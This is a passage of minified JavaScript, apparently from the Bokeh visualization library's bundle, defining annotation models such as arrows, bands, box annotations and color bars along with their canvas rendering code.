n.__extends(i,_),i.initClass=function(){this.prototype.type=\\\"Model\\\",this.define({tags:[o.Array,[]],name:[o.String],js_property_callbacks:[o.Any,{}],js_event_callbacks:[o.Any,{}],subscribed_events:[o.Array,[]]})},i.prototype.connect_signals=function(){var i=this;for(var t in _.prototype.connect_signals.call(this),this.js_property_callbacks)for(var e=this.js_property_callbacks[t],n=t.split(\\\":\\\"),r=n[0],o=n[1],s=void 0===o?null:o,a=function(t){var e=null!=s?l.properties[s][r]:l[r];l.connect(e,function(){return t.execute(i,{})})},l=this,h=0,u=e;h<u.length;h++){var c=u[h];a(c)}this.connect(this.properties.js_event_callbacks.change,function(){return i._update_event_callbacks}),this.connect(this.properties.subscribed_events.change,function(){return i._update_event_callbacks})},i.prototype._process_event=function(e){if(e.is_applicable_to(this)){e=e._customize_event(this);for(var t=0,i=this.js_event_callbacks[e.event_name]||[];t<i.length;t++){var n=i[t];n.execute(e,{})}null!=this.document&&this.subscribed_events.some(function(t){return t==e.event_name})&&this.document.event_manager.send_event(e)}},i.prototype.trigger_event=function(t){null!=this.document&&this.document.event_manager.trigger(t.set_model_id(this.id))},i.prototype._update_event_callbacks=function(){null!=this.document?this.document.event_manager.subscribed_models.add(this.id):l.logger.warn(\\\"WARNING: Document not defined for updating event callbacks\\\")},i.prototype._doc_attached=function(){a.isEmpty(this.js_event_callbacks)&&a.isEmpty(this.subscribed_events)||this._update_event_callbacks()},i.prototype.select=function(e){if(s.isString(e))return this.references().filter(function(t){return t instanceof i&&t.name===e});if(e.prototype instanceof r.HasProps)return this.references().filter(function(t){return t instanceof e});throw new Error(\\\"invalid selector\\\")},i.prototype.select_one=function(t){var e=this.select(t);switch(e.length){case 0:return null;case 1:return e[0];default:throw new Error(\\\"found more than one object matching given selector\\\")}},i}(r.HasProps);(i.Model=h).initClass()},function(t,e,i){var n=t(391),r=t(12),o=t(15),s=t(33),a=t(32),l=t(189),h=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._get_size=function(){throw new Error(\\\"not implemented\\\")},e.prototype.get_size=function(){return this.model.visible?Math.round(this._get_size()):0},e.prototype.set_data=function(t){var e,i,n=this.model.materialize_dataspecs(t);if(a.extend(this,n),this.plot_model.use_map){var r=this;null!=r._x&&(e=s.project_xy(r._x,r._y),r._x=e[0],r._y=e[1]),null!=r._xs&&(i=s.project_xsys(r._xs,r._ys),r._xs=i[0],r._ys=i[1])}},e}(l.RendererView);i.AnnotationView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Annotation\\\",this.define({plot:[o.Instance]}),this.override({level:\\\"annotation\\\"})},t.prototype.add_panel=function(t){if(null==this.panel||t!==this.panel.side){var e=new r.SidePanel({side:t});e.attach_document(this.document),this.set_panel(e)}},t.prototype.set_panel=function(t){this.panel=t,this.level=\\\"overlay\\\"},t}(l.Renderer);(i.Annotation=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(62),s=t(200),a=t(15),l=t(31),h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),null==this.model.source&&(this.model.source=new s.ColumnDataSource),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n,r=this.plot_view.frame;return\\\"data\\\"==this.model.start_units?(t=r.xscales[this.model.x_range_name].v_compute(this._x_start),e=r.yscales[this.model.y_range_name].v_compute(this._y_start)):(t=r.xview.v_compute(this._x_start),e=r.yview.v_compute(this._y_start)),\\\"data\\\"==this.model.end_units?(i=r.xscales[this.model.x_range_name].v_compute(this._x_end),n=r.yscales[this.model.y_range_name].v_compute(this._y_end)):(i=r.xview.v_compute(this._x_end),n=r.yview.v_compute(this._y_end)),[[t,e],[i,n]]},t.prototype.render=function(){if(this.model.visible){var t=this.plot_view.canvas_view.ctx;t.save();var e=this._map_data(),i=e[0],n=e[1];null!=this.model.end&&this._arrow_head(t,\\\"render\\\",this.model.end,i,n),null!=this.model.start&&this._arrow_head(t,\\\"render\\\",this.model.start,n,i),t.beginPath();var r=this.plot_model.canvas.bbox.rect,o=r.x,s=r.y,a=r.width,l=r.height;t.rect(o,s,a,l),null!=this.model.end&&this._arrow_head(t,\\\"clip\\\",this.model.end,i,n),null!=this.model.start&&this._arrow_head(t,\\\"clip\\\",this.model.start,n,i),t.closePath(),t.clip(),this._arrow_body(t,i,n),t.restore()}},t.prototype._arrow_head=function(t,e,i,n,r){for(var o=0,s=this._x_start.length;o<s;o++){var a=Math.PI/2+l.atan2([n[0][o],n[1][o]],[r[0][o],r[1][o]]);t.save(),t.translate(r[0][o],r[1][o]),t.rotate(a),\\\"render\\\"==e?i.render(t,o):\\\"clip\\\"==e&&i.clip(t,o),t.restore()}},t.prototype._arrow_body=function(t,e,i){if(this.visuals.line.doit)for(var n=0,r=this._x_start.length;n<r;n++)this.visuals.line.set_vectorize(t,n),t.beginPath(),t.moveTo(e[0][n],e[1][n]),t.lineTo(i[0][n],i[1][n]),t.stroke()},t}(r.AnnotationView);i.ArrowView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Arrow\\\",this.prototype.default_view=h,this.mixins([\\\"line\\\"]),this.define({x_start:[a.NumberSpec],y_start:[a.NumberSpec],start_units:[a.String,\\\"data\\\"],start:[a.Instance,null],x_end:[a.NumberSpec],y_end:[a.NumberSpec],end_units:[a.String,\\\"data\\\"],end:[a.Instance,function(){return new o.OpenHead({})}],source:[a.Instance],x_range_name:[a.String,\\\"default\\\"],y_range_name:[a.String,\\\"default\\\"]})},t}(r.Annotation);(i.Arrow=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(49),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ArrowHead\\\",this.define({size:[s.Number,25]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.visuals=new o.Visuals(this)},t}(r.Annotation);(i.ArrowHead=a).initClass();var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"OpenHead\\\",this.mixins([\\\"line\\\"])},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(0,0),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.stroke())},t}(a);(i.OpenHead=l).initClass();var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NormalHead\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.override({fill_color:\\\"black\\\"})},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,e),this._normal(t,e),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),this._normal(t,e),t.stroke())},t.prototype._normal=function(t,e){t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.closePath()},t}(a);(i.NormalHead=h).initClass();var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"VeeHead\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.override({fill_color:\\\"black\\\"})},t.prototype.clip=function(t,e){this.visuals.line.set_vectorize(t,e),t.moveTo(.5*this.size,this.size),t.lineTo(.5*this.size,-2),t.lineTo(-.5*this.size,-2),t.lineTo(-.5*this.size,this.size),t.lineTo(0,.5*this.size),t.lineTo(.5*this.size,this.size)},t.prototype.render=function(t,e){this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,e),this._vee(t,e),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),this._vee(t,e),t.stroke())},t.prototype._vee=function(t,e){t.beginPath(),t.moveTo(.5*this.size,this.size),t.lineTo(0,0),t.lineTo(-.5*this.size,this.size),t.lineTo(0,.5*this.size),t.closePath()},t}(a);(i.VeeHead=u).initClass();var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TeeHead\\\",this.mixins([\\\"line\\\"])},t.prototype.render=function(t,e){this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(.5*this.size,0),t.lineTo(-.5*this.size,0),t.stroke())},t.prototype.clip=function(t,e){},t}(a);(i.TeeHead=c).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(200),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n=this.plot_view.frame,r=this.model.dimension,o=n.xscales[this.model.x_range_name],s=n.yscales[this.model.y_range_name],a=\\\"height\\\"==r?s:o,l=\\\"height\\\"==r?o:s,h=\\\"height\\\"==r?n.yview:n.xview,u=\\\"height\\\"==r?n.xview:n.yview;t=\\\"data\\\"==this.model.lower.units?a.v_compute(this._lower):h.v_compute(this._lower),e=\\\"data\\\"==this.model.upper.units?a.v_compute(this._upper):h.v_compute(this._upper),i=\\\"data\\\"==this.model.base.units?l.v_compute(this._base):u.v_compute(this._base);var c=\\\"height\\\"==r?[1,0]:[0,1],_=c[0],p=c[1],d=[t,i],f=[e,i];this._lower_sx=d[_],this._lower_sy=d[p],this._upper_sx=f[_],this._upper_sy=f[p]},t.prototype.render=function(){if(this.model.visible){this._map_data();var t=this.plot_view.canvas_view.ctx;t.beginPath(),t.moveTo(this._lower_sx[0],this._lower_sy[0]);for(var e=0,i=this._lower_sx.length;e<i;e++)t.lineTo(this._lower_sx[e],this._lower_sy[e]);for(var n=this._upper_sx.length-1,e=n;0<=e;e--)t.lineTo(this._upper_sx[e],this._upper_sy[e]);t.closePath(),this.visuals.fill.doit&&(this.visuals.fill.set_value(t),t.fill()),t.beginPath(),t.moveTo(this._lower_sx[0],this._lower_sy[0]);for(var e=0,i=this._lower_sx.length;e<i;e++)t.lineTo(this._lower_sx[e],this._lower_sy[e]);this.visuals.line.doit&&(this.visuals.line.set_value(t),t.stroke()),t.beginPath(),t.moveTo(this._upper_sx[0],this._upper_sy[0]);for(var e=0,i=this._upper_sx.length;e<i;e++)t.lineTo(this._upper_sx[e],this._upper_sy[e]);this.visuals.line.doit&&(this.visuals.line.set_value(t),t.stroke())}},t}(r.AnnotationView);i.BandView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Band\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({lower:[s.DistanceSpec],upper:[s.DistanceSpec],base:[s.DistanceSpec],dimension:[s.Dimension,\\\"height\\\"],source:[s.Instance,function(){return new o.ColumnDataSource}],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t}(r.Annotation);(i.Band=l).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(19),l=t(5),s=t(15),a=t(24);i.EDGE_TOLERANCE=2.5;var h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),this.el.classList.add(\\\"bk-shading\\\"),l.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),\\\"css\\\"==this.model.render_mode?(this.connect(this.model.change,function(){return t.render()}),this.connect(this.model.data_update,function(){return t.render()})):(this.connect(this.model.change,function(){return t.plot_view.request_render()}),this.connect(this.model.data_update,function(){return t.plot_view.request_render()}))},t.prototype.render=function(){var o=this;if(this.model.visible||\\\"css\\\"!=this.model.render_mode||l.hide(this.el),this.model.visible)if(null!=this.model.left||null!=this.model.right||null!=this.model.top||null!=this.model.bottom){var t=this.plot_model.frame,e=t.xscales[this.model.x_range_name],i=t.yscales[this.model.y_range_name],n=function(t,e,i,n,r){return null!=t?o.model.screen?t:\\\"data\\\"==e?i.compute(t):n.compute(t):r};this.sleft=n(this.model.left,this.model.left_units,e,t.xview,t._left.value),this.sright=n(this.model.right,this.model.right_units,e,t.xview,t._right.value),this.stop=n(this.model.top,this.model.top_units,i,t.yview,t._top.value),this.sbottom=n(this.model.bottom,this.model.bottom_units,i,t.yview,t._bottom.value);var r=\\\"css\\\"==this.model.render_mode?this._css_box.bind(this):this._canvas_box.bind(this);r(this.sleft,this.sright,this.sbottom,this.stop)}else l.hide(this.el)},t.prototype._css_box=function(t,e,i,n){var r=this.model.properties.line_width.value(),o=Math.floor(e-t)-r,s=Math.floor(i-n)-r;this.el.style.left=t+\\\"px\\\",this.el.style.width=o+\\\"px\\\",this.el.style.top=n+\\\"px\\\",this.el.style.height=s+\\\"px\\\",this.el.style.borderWidth=r+\\\"px\\\",this.el.style.borderColor=this.model.properties.line_color.value(),this.el.style.backgroundColor=this.model.properties.fill_color.value(),this.el.style.opacity=this.model.properties.fill_alpha.value();var a=this.model.properties.line_dash.value().length<2?\\\"solid\\\":\\\"dashed\\\";this.el.style.borderStyle=a,l.show(this.el)},t.prototype._canvas_box=function(t,e,i,n){var r=this.plot_view.canvas_view.ctx;r.save(),r.beginPath(),r.rect(t,n,e-t,i-n),this.visuals.fill.set_value(r),r.fill(),this.visuals.line.set_value(r),r.stroke(),r.restore()},t.prototype.interactive_bbox=function(){var t=this.model.properties.line_width.value()+i.EDGE_TOLERANCE;return new a.BBox({x0:this.sleft-t,y0:this.stop-t,x1:this.sright+t,y1:this.sbottom+t})},t.prototype.interactive_hit=function(t,e){if(null==this.model.in_cursor)return!1;var i=this.interactive_bbox();return i.contains(t,e)},t.prototype.cursor=function(t,e){return Math.abs(t-this.sleft)<3||Math.abs(t-this.sright)<3?this.model.ew_cursor:Math.abs(e-this.sbottom)<3||Math.abs(e-this.stop)<3?this.model.ns_cursor:t>this.sleft&&t<this.sright&&e>this.stop&&e<this.sbottom?this.model.in_cursor:null},t}(r.AnnotationView);i.BoxAnnotationView=h;var u=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BoxAnnotation\\\",this.prototype.default_view=h,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({render_mode:[s.RenderMode,\\\"canvas\\\"],x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],top:[s.Number,null],top_units:[s.SpatialUnits,\\\"data\\\"],bottom:[s.Number,null],bottom_units:[s.SpatialUnits,\\\"data\\\"],left:[s.Number,null],left_units:[s.SpatialUnits,\\\"data\\\"],right:[s.Number,null],right_units:[s.SpatialUnits,\\\"data\\\"]}),this.internal({screen:[s.Boolean,!1],ew_cursor:[s.String,null],ns_cursor:[s.String,null],in_cursor:[s.String,null]}),this.override({fill_color:\\\"#fff9ba\\\",fill_alpha:.4,line_color:\\\"#cccccc\\\",line_alpha:.3})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.data_update=new o.Signal0(this,\\\"data_update\\\")},t.prototype.update=function(t){var e=t.left,i=t.right,n=t.top,r=t.bottom;this.setv({left:e,right:i,top:n,bottom:r,screen:!0},{silent:!0}),this.data_update.emit()},t}(r.Annotation);(i.BoxAnnotation=u).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(207),s=t(104),u=t(167),a=t(192),l=t(193),h=t(184),c=t(15),_=t(41),p=t(21),g=t(22),d=t(32),f=t(44),v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._set_canvas_image()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.visible.change,function(){return t.plot_view.request_render()}),this.connect(this.model.ticker.change,function(){return t.plot_view.request_render()}),this.connect(this.model.formatter.change,function(){return t.plot_view.request_render()}),null!=this.model.color_mapper&&this.connect(this.model.color_mapper.change,function(){t._set_canvas_image(),t.plot_view.request_render()})},t.prototype._get_size=function(){if(null==this.model.color_mapper)return 0;var t=this.compute_legend_dimensions(),e=this.model.panel.side;switch(e){case\\\"above\\\":case\\\"below\\\":return t.height;case\\\"left\\\":case\\\"right\\\":return t.width;default:throw new Error(\\\"unreachable code\\\")}},t.prototype._set_canvas_image=function(){var t,e;if(null!=this.model.color_mapper){var i,n,r=this.model.color_mapper.palette;switch(\\\"vertical\\\"==this.model.orientation&&(r=p.reversed(r)),this.model.orientation){case\\\"vertical\\\":t=[1,r.length],i=t[0],n=t[1];break;case\\\"horizontal\\\":e=[r.length,1],i=e[0],n=e[1];break;default:throw new Error(\\\"unreachable code\\\")}var o=document.createElement(\\\"canvas\\\");o.width=i,o.height=n;var s=o.getContext(\\\"2d\\\"),a=s.getImageData(0,0,i,n),l=new u.LinearColorMapper({palette:r}).rgba_mapper,h=l.v_compute(p.range(0,r.length));a.data.set(h),s.putImageData(a,0,0),this.image=o}},t.prototype.compute_legend_dimensions=function(){var t,e,i=this.model._computed_image_dimensions(),n=[i.height,i.width],r=n[0],o=n[1],s=this._get_label_extent(),a=this.model._title_extent(),l=this.model._tick_extent(),h=this.model.padding;switch(this.model.orientation){case\\\"vertical\\\":t=r+a+2*h,e=o+l+s+2*h;break;case\\\"horizontal\\\":t=r+a+l+s+2*h,e=o+2*h;break;default:throw new Error(\\\"unreachable code\\\")}return{width:e,height:t}},t.prototype.compute_legend_location=function(){var t,e,i=this.compute_legend_dimensions(),n=[i.height,i.width],r=n[0],o=n[1],s=this.model.margin,a=null!=this.model.panel?this.model.panel:this.plot_view.frame,l=a.bbox.ranges,h=l[0],u=l[1],c=this.model.location;if(f.isString(c))switch(c){case\\\"top_left\\\":t=h.start+s,e=u.start+s;break;case\\\"top_center\\\":t=(h.end+h.start)/2-o/2,e=u.start+s;break;case\\\"top_right\\\":t=h.end-s-o,e=u.start+s;break;case\\\"bottom_right\\\":t=h.end-s-o,e=u.end-s-r;break;case\\\"bottom_center\\\":t=(h.end+h.start)/2-o/2,e=u.end-s-r;break;case\\\"bottom_left\\\":t=h.start+s,e=u.end-s-r;break;case\\\"center_left\\\":t=h.start+s,e=(u.end+u.start)/2-r/2;break;case\\\"center\\\":t=(h.end+h.start)/2-o/2,e=(u.end+u.start)/2-r/2;break;case\\\"center_right\\\":t=h.end-s-o,e=(u.end+u.start)/2-r/2;break;default:throw new Error(\\\"unreachable code\\\")}else{if(!f.isArray(c)||2!=c.length)throw new Error(\\\"unreachable code\\\");var _=c[0],p=c[1];t=a.xview.compute(_),e=a.yview.compute(p)-r}return{sx:t,sy:e}},t.prototype.render=function(){if(this.model.visible&&null!=this.model.color_mapper){var t=this.plot_view.canvas_view.ctx;t.save();var e=this.compute_legend_location(),i=e.sx,n=e.sy;t.translate(i,n),this._draw_bbox(t);var r=this._get_image_offset();if(t.translate(r.x,r.y),this._draw_image(t),null!=this.model.color_mapper.low&&null!=this.model.color_mapper.high){var o=this.model.tick_info();this._draw_major_ticks(t,o),this._draw_minor_ticks(t,o),this._draw_major_labels(t,o)}this.model.title&&this._draw_title(t),t.restore()}},t.prototype._draw_bbox=function(t){var e=this.compute_legend_dimensions();t.save(),this.visuals.background_fill.doit&&(this.visuals.background_fill.set_value(t),t.fillRect(0,0,e.width,e.height)),this.visuals.border_line.doit&&(this.visuals.border_line.set_value(t),t.strokeRect(0,0,e.width,e.height)),t.restore()},t.prototype._draw_image=function(t){var e=this.model._computed_image_dimensions();t.save(),t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.scale_alpha,t.drawImage(this.image,0,0,e.width,e.height),this.visuals.bar_line.doit&&(this.visuals.bar_line.set_value(t),t.strokeRect(0,0,e.width,e.height)),t.restore()},t.prototype._draw_major_ticks=function(t,e){if(this.visuals.major_tick_line.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=e.coords.major,u=h[0],c=h[1],_=this.model.major_tick_in,p=this.model.major_tick_out;t.save(),t.translate(a,l),this.visuals.major_tick_line.set_value(t);for(var d=0,f=u.length;d<f;d++)t.beginPath(),t.moveTo(Math.round(u[d]+n*p),Math.round(c[d]+r*p)),t.lineTo(Math.round(u[d]-n*_),Math.round(c[d]-r*_)),t.stroke();t.restore()}},t.prototype._draw_minor_ticks=function(t,e){if(this.visuals.minor_tick_line.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=e.coords.minor,u=h[0],c=h[1],_=this.model.minor_tick_in,p=this.model.minor_tick_out;t.save(),t.translate(a,l),this.visuals.minor_tick_line.set_value(t);for(var d=0,f=u.length;d<f;d++)t.beginPath(),t.moveTo(Math.round(u[d]+n*p),Math.round(c[d]+r*p)),t.lineTo(Math.round(u[d]-n*_),Math.round(c[d]-r*_)),t.stroke();t.restore()}},t.prototype._draw_major_labels=function(t,e){if(this.visuals.major_label_text.doit){var i=this.model._normals(),n=i[0],r=i[1],o=this.model._computed_image_dimensions(),s=[o.width*n,o.height*r],a=s[0],l=s[1],h=this.model.label_standoff+this.model._tick_extent(),u=[h*n,h*r],c=u[0],_=u[1],p=e.coords.major,d=p[0],f=p[1],v=e.labels.major;this.visuals.major_label_text.set_value(t),t.save(),t.translate(a+c,l+_);for(var m=0,g=d.length;m<g;m++)t.fillText(v[m],Math.round(d[m]+n*this.model.label_standoff),Math.round(f[m]+r*this.model.label_standoff));t.restore()}},t.prototype._draw_title=function(t){this.visuals.title_text.doit&&(t.save(),this.visuals.title_text.set_value(t),t.fillText(this.model.title,0,-this.model.title_standoff),t.restore())},t.prototype._get_label_extent=function(){var t,e=this.model.tick_info().labels.major;if(null==this.model.color_mapper.low||null==this.model.color_mapper.high||d.isEmpty(e))t=0;else{var i=this.plot_view.canvas_view.ctx;switch(i.save(),this.visuals.major_label_text.set_value(i),this.model.orientation){case\\\"vertical\\\":t=p.max(e.map(function(t){return i.measureText(t.toString()).width}));break;case\\\"horizontal\\\":t=_.get_text_height(this.visuals.major_label_text.font_value()).height;break;default:throw new Error(\\\"unreachable code\\\")}t+=this.model.label_standoff,i.restore()}return t},t.prototype._get_image_offset=function(){var t=this.model.padding,e=this.model.padding+this.model._title_extent();return{x:t,y:e}},t}(r.AnnotationView);i.ColorBarView=v;var m=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ColorBar\\\",this.prototype.default_view=v,this.mixins([\\\"text:major_label_\\\",\\\"text:title_\\\",\\\"line:major_tick_\\\",\\\"line:minor_tick_\\\",\\\"line:border_\\\",\\\"line:bar_\\\",\\\"fill:background_\\\"]),this.define({location:[c.Any,\\\"top_right\\\"],orientation:[c.Orientation,\\\"vertical\\\"],title:[c.String],title_standoff:[c.Number,2],width:[c.Any,\\\"auto\\\"],height:[c.Any,\\\"auto\\\"],scale_alpha:[c.Number,1],ticker:[c.Instance,function(){return new o.BasicTicker}],formatter:[c.Instance,function(){return new s.BasicTickFormatter}],major_label_overrides:[c.Any,{}],color_mapper:[c.Instance],label_standoff:[c.Number,5],margin:[c.Number,30],padding:[c.Number,10],major_tick_in:[c.Number,5],major_tick_out:[c.Number,0],minor_tick_in:[c.Number,0],minor_tick_out:[c.Number,0]}),this.override({background_fill_color:\\\"#ffffff\\\",background_fill_alpha:.95,bar_line_color:null,border_line_color:null,major_label_text_align:\\\"center\\\",major_label_text_baseline:\\\"middle\\\",major_label_text_font_size:\\\"8pt\\\",major_tick_line_color:\\\"#ffffff\\\",minor_tick_line_color:null,title_text_font_size:\\\"10pt\\\",title_text_font_style:\\\"italic\\\"})},t.prototype._normals=function(){return\\\"vertical\\\"==this.orientation?[1,0]:[0,1]},t.prototype._title_extent=function(){var t=this.title_text_font+\\\" \\\"+this.title_text_font_size+\\\" \\\"+this.title_text_font_style,e=this.title?_.get_text_height(t).height+this.title_standoff:0;return e},t.prototype._tick_extent=function(){return null!=this.color_mapper.low&&null!=this.color_mapper.high?p.max([this.major_tick_out,this.minor_tick_out]):0},t.prototype._computed_image_dimensions=function(){var t,e,i=this.plot.plot_canvas.frame._height.value,n=this.plot.plot_canvas.frame._width.value,r=this._title_extent();switch(this.orientation){case\\\"vertical\\\":\\\"auto\\\"==this.height?null!=this.panel?t=i-2*this.padding-r:(t=p.max([25*this.color_mapper.palette.length,.3*i]),t=p.min([t,.8*i-2*this.padding-r])):t=this.height,e=\\\"auto\\\"==this.width?25:this.width;break;case\\\"horizontal\\\":t=\\\"auto\\\"==this.height?25:this.height,\\\"auto\\\"==this.width?null!=this.panel?e=n-2*this.padding:(e=p.max([25*this.color_mapper.palette.length,.3*n]),e=p.min([e,.8*n-2*this.padding])):e=this.width;break;default:throw new Error(\\\"unreachable code\\\")}return{width:e,height:t}},t.prototype._tick_coordinate_scale=function(t){var e={source_range:new h.Range1d({start:this.color_mapper.low,end:this.color_mapper.high}),target_range:new h.Range1d({start:0,end:t})};switch(this.color_mapper.type){case\\\"LinearColorMapper\\\":return new a.LinearScale(e);case\\\"LogColorMapper\\\":return new l.LogScale(e);default:throw new Error(\\\"unreachable code\\\")}},t.prototype._format_major_labels=function(t,e){for(var i=this.formatter.doFormat(t,null),n=0,r=e.length;n<r;n++)e[n]in this.major_label_overrides&&(i[n]=this.major_label_overrides[e[n]]);return i},t.prototype.tick_info=function(){var e,t=this._computed_image_dimensions();switch(this.orientation){case\\\"vertical\\\":e=t.height;break;case\\\"horizontal\\\":e=t.width;break;default:throw new Error(\\\"unreachable code\\\")}for(var i=this._tick_coordinate_scale(e),n=this._normals(),r=n[0],o=n[1],s=[this.color_mapper.low,this.color_mapper.high],a=s[0],l=s[1],h=this.ticker.get_ticks(a,l,null,null,this.ticker.desired_num_ticks),u=h.major,c=h.minor,_=[[],[]],p=[[],[]],d=0,f=u.length;d<f;d++)u[d]<a||u[d]>l||(_[r].push(u[d]),_[o].push(0));for(var d=0,f=c.length;d<f;d++)c[d]<a||c[d]>l||(p[r].push(c[d]),p[o].push(0));var v={major:this._format_major_labels(_[r],u)},m={major:[[],[]],minor:[[],[]]};return m.major[r]=i.v_compute(_[r]),m.minor[r]=i.v_compute(p[r]),m.major[o]=_[o],m.minor[o]=p[o],\\\"vertical\\\"==this.orientation&&(m.major[r]=g.map(m.major[r],function(t){return e-t}),m.minor[r]=g.map(m.minor[r],function(t){return e-t})),{coords:m,labels:v}},t}(r.Annotation);(i.ColorBar=m).initClass()},function(t,e,i){var n=t(60);i.Annotation=n.Annotation;var r=t(61);i.Arrow=r.Arrow;var o=t(62);i.ArrowHead=o.ArrowHead;var s=t(62);i.OpenHead=s.OpenHead;var a=t(62);i.NormalHead=a.NormalHead;var l=t(62);i.TeeHead=l.TeeHead;var h=t(62);i.VeeHead=h.VeeHead;var u=t(63);i.Band=u.Band;var c=t(64);i.BoxAnnotation=c.BoxAnnotation;var _=t(65);i.ColorBar=_.ColorBar;var p=t(67);i.Label=p.Label;var d=t(68);i.LabelSet=d.LabelSet;var f=t(69);i.Legend=f.Legend;var v=t(70);i.LegendItem=v.LegendItem;var m=t(71);i.PolyAnnotation=m.PolyAnnotation;var g=t(72);i.Slope=g.Slope;var y=t(73);i.Span=y.Span;var b=t(74);i.TextAnnotation=b.TextAnnotation;var x=t(75);i.Title=x.Title;var w=t(76);i.ToolbarPanel=w.ToolbarPanel;var k=t(77);i.Tooltip=k.Tooltip;var S=t(78);i.Whisker=S.Whisker},function(t,e,i){var n=t(391),r=t(74),a=t(5),o=t(15),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.visuals.warm_cache()},t.prototype._get_size=function(){var t=this.plot_view.canvas_view.ctx;if(this.visuals.text.set_value(t),this.model.panel.is_horizontal){var e=t.measureText(this.model.text).ascent;return e}var i=t.measureText(this.model.text).width;return i},t.prototype.render=function(){if(this.model.visible||\\\"css\\\"!=this.model.render_mode||a.hide(this.el),this.model.visible){var t;switch(this.model.angle_units){case\\\"rad\\\":t=-this.model.angle;break;case\\\"deg\\\":t=-this.model.angle*Math.PI/180;break;default:throw new Error(\\\"unreachable code\\\")}var 